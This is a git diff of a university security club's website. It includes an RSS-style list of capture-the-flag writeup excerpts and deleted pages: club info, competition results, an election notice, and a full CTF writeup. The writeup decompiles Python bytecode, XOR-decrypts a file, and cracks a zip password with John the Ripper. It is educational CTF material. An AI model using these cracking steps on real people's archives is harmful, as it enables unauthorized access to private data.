Linked to this GitHub repo +Solution As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this challenge. For that reason, I solved this challenge first. +A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into chall and chall.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-env/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-env/EkoParty CTF 2020 Git 3 +Prompt Not too sure of the original prompt, however I did not need it. +Solution After the second part of the git challenge saga, we have gotten a new repository with some new github actions. We know, before analyzing these however, that: +Issues filed to the ekolabs repo will be ‘moved’ to the ekoparty-internal repo. We control content in the submitted issues, and this is copied to the new issues in ekoparty-internal repo.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-leak/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-leak/EkoParty CTF 2020 Git 1 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc one. In light of this, I solved the second challenge first 😛 +When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this:Codestin Search Apphttps://osusec.org/blog/fword-ctf-identity-fraud/Mon, 31 Aug 2020 00:00:00 -0700https://osusec.org/blog/fword-ctf-identity-fraud/Points: 419 Solves: 86 Category: OSINT +Prompt Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task? +Flag Format: Eword{}Codestin Search Apphttps://osusec.org/blog/nahamconctf-finsta/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-finsta/50 points +Prompt This time we have a username. Can you track down NahamConTron? +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites, including Instagram. +Checking out the Instagram account, we get the flag. +flag{i_feel_like_that_was_too_easy} ~ LyellCodestin Search Apphttps://osusec.org/blog/nahamconctf-microosoft/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-microosoft/100 points +Prompt We have to use Microsoft Word at the office!? Oof… +Download the file below. +File +Solution Opening the file does not do much, but it would not be that easy. +Using file we can find out that this is an OOXML document: +$ file microsooft.docx microsooft.docx: Microsoft OOXML Based on this, and some quick reading, we can see that this format can contain files. To view these files, I first tried this chrome extension, before settling on getting a trial licensed version of OxygenXML.Codestin Search Apphttps://osusec.org/blog/nahamconctf-time-keeper/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-time-keeper/50 points +Prompt There is some interesting stuff on this website. Or at least, I thought there was… +Connect here: https://apporima.com/ +Note, this flag is not in the usual format. +Solution After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then. +First, I noted that there were only two captures, so I figured it would be worth it to compare them.Codestin Search Apphttps://osusec.org/blog/nahamconctf-tron/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-tron/75 points +Prompt NahamConTron is up to more shenanigans. Find his server. +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites: +Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for NahamConTron and systematically eliminated them.Codestin Search Apphttps://osusec.org/blog/houseplantctf-catography-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-catography-writeup/Prompt Jubie’s released her own collection of cat pictures. Go check it out! +http://challs.houseplant.riceteacatpanda.wtf:30002 +Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license. +Dev: jammy +Solution Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at http://challs.Codestin Search Apphttps://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Prompt Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁 +Dev: Tom +Hint! long_to_bytes +File: chall.7z +Solution This provided archive contains 90,000 JPEG’s. I extracted all of them to ./images (relative to this README’s PWD). Each of these images has a size of 1 pixel. +Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image.Codestin Search Apphttps://osusec.org/blog/ijctf-vault-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/ijctf-vault-writeup/Prompt We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10). +shift register… +Author : Harsh and warlock_rootx +Hint: if pin in user_input(): #Good Stuff… +Solution This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters.Codestin Search Apphttps://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Sun, 12 Apr 2020 00:00:00 -0700https://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Prompt Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? +The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) +File: hash.zip +Solution The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate hashes.Codestin Search Apphttps://osusec.org/blog/auctf-aliedas-about-some-thing/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-aliedas-about-some-thing/903 points +Prompt See what you can find. +AUCTFShh +Author: c +Solution AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk. +I opened each of the greyed out sites in a tab, and looked through each for anything suspicious.Codestin Search Apphttps://osusec.org/blog/auctf-good-old-days/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-good-old-days/877 points +Prompt This site used to look a lot cooler. +Author: c +Solution Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: https://web.archive.org/web/sitemap/https://ctf.auburn.edu/. It shows that, among other subdirectories (and trust me, I visited each a couple times), the /users and /users/50 pages have both been captured. +https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users has a user called auctf{Th053_w3rE_Th3_guD_0l3_d4y5} – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research).Codestin Search Apphttps://osusec.org/blog/auctf-osint-you-all-over-the-place/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-osint-you-all-over-the-place/A post-competition writeup; 983 points +Prompt I do not have access to the prompt, but the URL is devs-r-us.xyz +Solution After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following: +Images mcofee.png and mcafee.png are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge). Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.Codestin Search Apphttps://osusec.org/blog/auctf-who-made-me/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-who-made-me/950 points +Prompt One of the developers of this CTF worked really hard on this challenge. +note: the answer is not the author’s name +Author: c +Solution: Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that: +AU in AUCTF is for Auburn University (homeapge) AUCTF is run by members of the AUEHC (Auburn University Ethical Hacking Club). AUEHC is comprised of members: President – Jordan Sosnowski: jjs@auburn.Codestin Search Apphttps://osusec.org/blog/midnightsunctf-snake/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/midnightsunctf-snake/Prompt 141 points, 38 solves +Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555 +Solution When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake).Codestin Search Apphttps://osusec.org/blog/nahamconctf-fake-file/Wed, 01 Apr 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-fake-file/100 points +Prompt Wait… where is the flag? +Connect here: nc jh2i.com 50026 +Solution Let’s nc to that server and see what’s up: +$ nc jh2i.com 50026 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell user@host:/home/user$ ls -lah ls -lah total 12K dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. -rw-r--r-- 1 user user 52 Jun 12 17:10 .Codestin Search Apphttps://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Prompt 1 You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world. +TL;DR find the flag +Kingdom Chall +HINT: Title/Chall name +Prompt 2 There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you!Codestin Search Apphttps://osusec.org/blog/tamuctf-alcapone/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-alcapone/Prompt Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? +(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it.Codestin Search Apphttps://osusec.org/blog/tamuctf-geography/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-geography/Prompt My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. +She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what? +Solution Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps).Codestin Search Apphttps://osusec.org/blog/tamuctf-russian_nesting_dolls/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-russian_nesting_dolls/Prompt Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look? +Files: netlogs.pcap +Solution Opening the PCAP up in wireshark shows that there are quite a few (37991) DNS packets, as well as a smattring of others (Statistics &gt; Protocol Hierarchy). Let’s look at the remaining packets first, as there are only a few of them:Codestin Search Apphttps://osusec.org/blog/tamuctf-woof_woof/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-woof_woof/Prompt (I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() +The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... +reveille.png +Solution After running strings on the image to no result, we open this image up in stegsolve, and examine the file format Analyze &gt; File Format. We see the usual stuff, except for: +Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: .Codestin Search Apphttps://osusec.org/blog/tamuctf-rsapwn/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-rsapwn/Prompt We must train the next generation of hackers. +nc challenges.tamuctf.com 8573 +Solution It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. Athos’ script does exactly that: +python3 ./exploit.py [+] Opening connection to challenges.tamuctf.com on port 8573: Done b&#39;We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (&lt;= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.Codestin Search Apphttps://osusec.org/blog/volgactf-excellent-crackme/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/volgactf-excellent-crackme/Prompt Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this… +excel_crackme +Solution An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice.Codestin Search Apphttps://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/Sun, 12 May 2019 00:00:00 -0700https://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it: +$ exiftool redacted-puzzle.gif ExifTool Version Number : 10.80 File Name : redacted-puzzle.gif Directory : . File Size : 78 kB File Modification Date/Time : 2019:05:10 17:05:42-07:00 File Access Date/Time : 2019:05:10 17:05:42-07:00 File Inode Change Date/Time : 2019:05:10 17:26:26-07:00 File Permissions : rwxrwxrwx File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 1280 Image Height : 720 Has Color Map : Yes Color Resolution Depth : 3 Bits Per Pixel : 2 Background Color : 3 Animation Iterations : Infinite Frame Count : 35 Duration : 8.Codestin Search Apphttps://osusec.org/blog/angstromctf-streams/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-streams/Problem White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here. +Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag}) +Author: ctfhaxor +Points: 70 +Hint: Are you sure that’s an mp4 file? What’s inside the file? +Solution First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio.Codestin Search Apphttps://osusec.org/blog/angstromctf-lithp/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-lithp/Problem My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me? +Author: fireholder +Points: 60 +Solution First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into? +The first lines were most important in solving this challenge the way I did it. It reads: +(defparameter *encrypted* &#39;(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) (defparameter *flag* &#39;(redacted)) (defparameter *reorder* &#39;(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) Well, then.Codestin Search Apphttps://osusec.org/blog/utctf-2019-crackme/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-crackme/This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description: +This what we see when we run the binary: +$ ./crackme Please enter the correct password. &gt;pls Incorrect password. utflag{wrong_password_btw_this_is_not_the_flag_and_if_you_submit_this_i_will_judge_you} Let’s take a look at the code in IDA Pro: +Here’s what the decompilation shows: +Read in 64 bytes from stdin Call divide(32, 0), and save the return value to v4 xor our input at index v4 with 8 Replace a few characters of our input with ‘D’ xor each character in our input with 0x27 Now we see “stuff[j] = stuff2[202 – j] ^ (stuff[j] – 1);”.Codestin Search Apphttps://osusec.org/blog/utctf-2019-scrambled/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-scrambled/Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script. +This was a 1250 point Forensics challenge (highest points in the category). Here’s the description: +By the time I took a look at the challenge, they had released a hint as well: +Based on the hint, I quickly discovered that the challenge description described ways of manipulating a Rubik’s Cube: +Googling the hint (“rubikstega”) leads to a paper entitled “Rubikstega: A Novel Noiseless Steganography Method in Rubik’s Cube” (link).Codestin Search Apphttps://osusec.org/blog/utctf-2019-rogue-leader/Sun, 10 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-rogue-leader/Problem Description Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where he’s headed. +Luckily, he forgot that we had planted a packet sniffer on his laptop, and we were able to retrieve the following capture when we raided his apartment: [pcap]. +He’s too smart to email his plans to himself, but I’m certain he took them with him somehow.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-6/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-6/Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: the Escrow contract, the Ransom contract, and the Registry contract. +Decryption Overview Let’s first look at the intended method of recovering the decryption key. +From the Escrow contract, the victim calls payRansom() to pay the ransom amount.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-7/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-7/Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from task 6, we found that we could deploy and authenticate arbitrary ransom contracts. +Scanning for Vulnerabilities A natural place we can start looking for a vulnerability is the requestRefund() function.Codestin Search Apphttps://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Mon, 22 Oct 2018 00:00:00 -0700https://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Link to Github +Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways. +EV3 is the latest generation of the LEGO Mindstorms robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would. +The challenge includes two files: A picture of the screen of the robot, and a . \ No newline at end of file diff --git a/static/club-constitution.jpg b/club-constitution.jpg similarity index 100% rename from static/club-constitution.jpg rename to club-constitution.jpg diff --git a/club-constitution/index.html b/club-constitution/index.html new file mode 100644 index 0000000..ce1bc33 --- /dev/null +++ b/club-constitution/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Club Constitution

\ No newline at end of file diff --git a/static/constitution.pdf b/constitution.pdf similarity index 100% rename from static/constitution.pdf rename to constitution.pdf diff --git a/content/.gitkeep b/content/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/content/about.md b/content/about.md deleted file mode 100644 index e2a5150..0000000 --- a/content/about.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: About -layout: 'infopage' ---- - -The OSU Security Club was founded in 2014 by Daniel Reichert, and was guided by Dr. Yeongjin Jang until 2023. Currently, the club is advised by Zane Ma. We focus on gaining hands-on experience with exploiting vulnerabilities in systems and networks, defending against these attacks, and getting involved in the security community. There’s no experience or knowledge required, only an interest in learning more about this incredibly important and expanding field! - -Current leadership: - -- President: **Casey Colley** -- Vice President: **Otso Barron** -- Treasurer: **Abigail Whittle** -- Lab Manager: **Lucas Ball** -- Community Manager: **Julie Weber** -- Recruitment: **Julie Weber** -- CTF League Coordinator: **Zane Othman-Gomez** diff --git a/content/accomplishments.md b/content/accomplishments.md deleted file mode 100644 index 8ced052..0000000 --- a/content/accomplishments.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Accomplishments -layout: 'infopage' ---- - -[CTFtime Profile](https://ctftime.org/team/12858) - -## CTF Competitions - -- 12/09/22: 2nd – [NSA Codebreaker](https://twitter.com/OSUSEC/status/1601666646174666753) -- 10/07/22: 1st – [BSides PDX CTF](https://twitter.com/OSUSEC/status/1578856635208200192) -- 08/15/22: 16th – [DefCon Finals!!!](https://twitter.com/OSUSEC/status/1559269220445147136) ([CTFtime](https://ctftime.org/event/1662/)) -- 05/29/22: 15th – [Defcon Qualifiers](http://ctftime.org/event/1661) -- 04/30/22: 5th – [NahamCon CTF](https://twitter.com/OSUSEC/status/1520506631078825984) -- 01/04/22: 3rd – [NSA Codebreaker](https://nsa-codebreaker.org/leaderboard_2021) (133,337 points) -- 11/21/21: 5th – [N1CTF](http://ctftime.org/event/1367) -- 10/31/21: 7th – [hack.lu CTF](http://ctftime.org/event/1452/) -- 05/02/21: 27th – [DefCon Qualifiers](http://ctftime.org/event/1254) -- 01/31/21: 3rd – [NSA Codebreaker](http://nsa-codebreaker.org/leaderboard_2020) -- 10/23/20: 1st – [BSides PDX CTF](https://twitter.com/aagallag/status/1320163184397877248) -- 05/18/20: 22nd – [DefCon Qualifiers](http://ctftime.org/event/994) (as beaverpwn, in collaboration with RedPwn) -- 03/22/20: 5th – [FireShell CTF](http://ctftime.org/event/944) -- 03/15/20: 2nd – [b01lers CTF](http://ctftime.org/event/974) -- 03/08/20: 5th, 1st university – [UTCTF](http://ctftime.org/event/757) -- 01/10/20: 3rd – [NSA Codebreaker](http://nsa-codebreaker.org/leaderboard_2019) -- 10/26/19: 1st – [BSides PDX CTF](https://github.com/BSidesPDX/CTF-2019) -- 03/10/19: 7th – [UTCTF](http://ctftime.org/event/757) -- 02/23/19: 3th – [MITRE STEM CTF](http://ctftime.org/event/661) -- 01/06/19: 1st – [NSA Codebreaker](http://nsa-codebreaker.org/leaderboard_2018) - -## CyberDefense Competitions - -- 03/24/23: 1st – [PRCCDC](https://twitter.com/OSUSEC/status/1640496249643347968?s=20) -- 11/05/22: 10th, 1st regionally – [DoE Cyberforce](https://twitter.com/OSUSEC/status/1589734031759147008) -- 04/23/22: 5th – [NCCDC](https://twitter.com/OSUSEC/status/1518417631941840896) -- 04/01/22: 1st – [PRCCDC](https://twitter.com/OSUSEC/status/1510796704286601224) -- 11/13/21: 7th, 1st regionally – [DoE Cyberforce](https://www.osusec.org/doe-cyberforce-competition-2021/) -- 04/11/20: 2nd – [PRCCDC](https://osusec.org/prccdc-2020-results/) -- 11/16/19: 6th, 1st regionally – [DoE Cyberforce](https://cyberforce.energy.gov/cyberforce-competition/prior-competitions/doe-cyberforce-competition-2019/november-2019-winners/) -- 03/24/19: 3rd – [PRCCDC](https://osusec.org/prccdc-2019-results/) -- 12/01/18: 3rd, 1st regionally – [DoE Cyberforce](https://www.osusec.org/cyberforce-competition-2018-results) -- 04/07/18: 4th, 1st regionally – [DoE Cyberforce](https://www.osusec.org/osusec-wins-department-of-energy-cyber-defense-competition/) \ No newline at end of file diff --git a/content/blog/0x41414141-ctf-0x414141.md b/content/blog/0x41414141-ctf-0x414141.md deleted file mode 100644 index 431742a..0000000 --- a/content/blog/0x41414141-ctf-0x414141.md +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: "0x41414141 CTF - 0x414141" -author: "Lyell Read" -date: 2021-02-02T00:00:00-07:00 -categories: ['Writeups'] -tags: ['0x41414141 ctf'] -caption: "0x41414141 CTF logo" - -draft: false ---- - -## Prompt - -I think offshift promised to opensource some of their code - -author: notforsale - -## Solution - -First off, we navigate to the [offshift-dev](https://github.com/offshift-dev/assets/commits/master) github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a [single suspicious repository](https://github.com/offshift-protocol/promo). This has two commits, one where files are uploaded, and one in which the \__pycache__ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added: - -``` -git clone git@github.com:offshift-protocol/promo.git -cd promo -git checkout dc43c1ac33f767a7d30dbeab123a1c87566e885d -cd __pycache__ -``` - -There, we see one `.pyc` file, which is very likely where the interesting part of this challenge is. To understand it, we use uncompyle6: - -``` -pip3 install uncompyle6 --user -uncompyle6 script.cpython-38.pyc > ../../uncompyled.py -``` - -Now, upon reviewing that file, we see that we have some interesting cipher of sorts that uses XOR and base64 somehow: - -``` -import base64 -secret = 'https://google.com' -cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw'] -cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret] -``` - -From a little deduction, we can guess that the creation of `cipher1` based on `secret` is how the list `cipher2` was developed. Therefore, to decipher that array, we simply need to reverse the list comprehension that generates `cipher1`. - -Working from the outside to the inside (to reverse the operations done during enciphering), we will need to first base64 decode each element. Then, we will have to cast it to an int (the output of `ord()`), and then use `chr()` to undo the `ord()` operation. Lastly we must undo the XOR with 65, which can be done by simply XORing it again. This can all be accomplished as so: - -``` -print(''.join([chr(int(base64.b64decode(x)) ^ 65) for x in cipher2])) -``` - -From that, we get a URL: [https://archive.is/oMl59](https://archive.is/oMl59). That archive is a post on 4chan’s /x/ board where the original poster included a link to a [mega.nz file download](https://mega.nz/file/AAdDyIoB#gpj5s9N9-VnbNhSdkJ24Yyq3BWSYimoxanP-p03gQWs). This downloads what appears to be a corrupt “PDF” [file called smashing.pdf], which `file` identifies as “data”, indicating that there are no identifiable magic bytes. - -> NOTE: At this point, inference is made that this PDF is encrypted with a repeating key that makes use of the magic bytes to reverse. - -From Wikipedia, we can see that a PDF file should start with `25 50 44 46 2d`, so we perform an XOR to determine what the key that was used to encrypt this PDF was. - -``` - 25 50 44 46 2d -- PDF Magic Bytes -^ 64 11 05 07 6c -- Start of smashing.pdf ----------------- -= 41 41 41 41 41 -- key used to encrypt -``` - -I would not expect anything less. Therefore, we need to decrypt the whole PDF using this key, and for that, we can use a python script like this one: - -``` -with open("smashing.pdf", "rb") as f: - contents = f.read() - -key = b"\x41\x41\x41\x41" -out = b"" -for i in range(len(contents)): - out += bytes([contents[i] ^ key[i % len(key)]]) - -with open("done_xor.pdf", "wb") as f: - f.write(out) -``` - -``` -file done_xor.pdf -done_xor.pdf: PDF document, version 1.4 -``` - -That’s much better, but there’s more. When running `strings` on that file, we see references to `flag.txt`, so this could be real steganography. To find out, we use `foremost`: - -``` -dd if=done_xor.pdf | foremost -Processing: stdin -|360+1 records in -360+1 records out -184539 bytes (185 kB, 180 KiB) copied, 0.0017788 s, 104 MB/s -foundat=flag.txtUT -*| -``` - -Interesting, so we appear to have recovered something. Looking through `foremost`‘s [output folder](https://github.com/lyellread/ctf-writeups/blob/master/2021-0x41414141/0x414141/output), we can see that it sliced a PDF and a Zip archive. Next, we have to unzip that, presumably. Let’s give that a shot: - -``` -unzip foremost.zip -Archive: foremost.zip -[foremost.zip] flag.txt password: -``` - -We need a password, and because we do not know it, we are going to have to crack it. To do so, we must build John The Ripper from source (to have access to `zip2john`). For that, I followed [this handy guide](https://hackthestuff.com/article/how-to-install-john-the-ripper-in-linux-and-crack-password). Once installed, it’s as easy as: - -``` -zip2john foremost.zip > hashes -john hashes --show -foremost/flag.txt:passwd:flag.txt:foremost::foremost -1 password hash cracked, 0 left -``` - -Armed with our password `passwd`, we attack the Zip, and get the flag: - -``` -flag{1t_b33n_A_l0ng_w@y8742} -``` - -~ Lyell diff --git a/content/blog/2019-2020-officer-elections-on-april-25th.md b/content/blog/2019-2020-officer-elections-on-april-25th.md deleted file mode 100644 index c4b2714..0000000 --- a/content/blog/2019-2020-officer-elections-on-april-25th.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: "2019-2020 Officer Elections on April 25th" -author: "Zander Work" -date: 2019-04-16T00:00:00-07:00 -categories: ['Meeting Notes', 'Club News'] -tags: [] -caption: "" - -draft: false ---- - -We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering. - -Here are the positions (link goes to position duties): - -- [President](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_5) -- [Vice President](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_10) -- [Treasurer](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_21) -- [Multimedia Coordinator](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_29) -- [Lab Manager](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_34) - -To run for a position, please do the following: - -- Fill out [this form](https://forms.gle/hF4Jf9TzxMTetFqTA) no later than April 23rd -- Send a slide (one slide) to [security.club@oregonstate.edu](mailto:security.club@oregonstate.edu) no later than April 23rd: - - Name - - Position - - Info about yourself - - Qualifications - - etc. -- Show up to our meeting on April 25th prepared for the following: - - Up to 5 minute presentation on why you should be elected for your position - - Up to 2 minutes Q/A - -We will be voting in the meeting on the 25th, so if you want to vote you need to be there. If you aren’t able to be there (candidate or voter), please let me know (I might need to re-think this part). - -There is lots more info on the 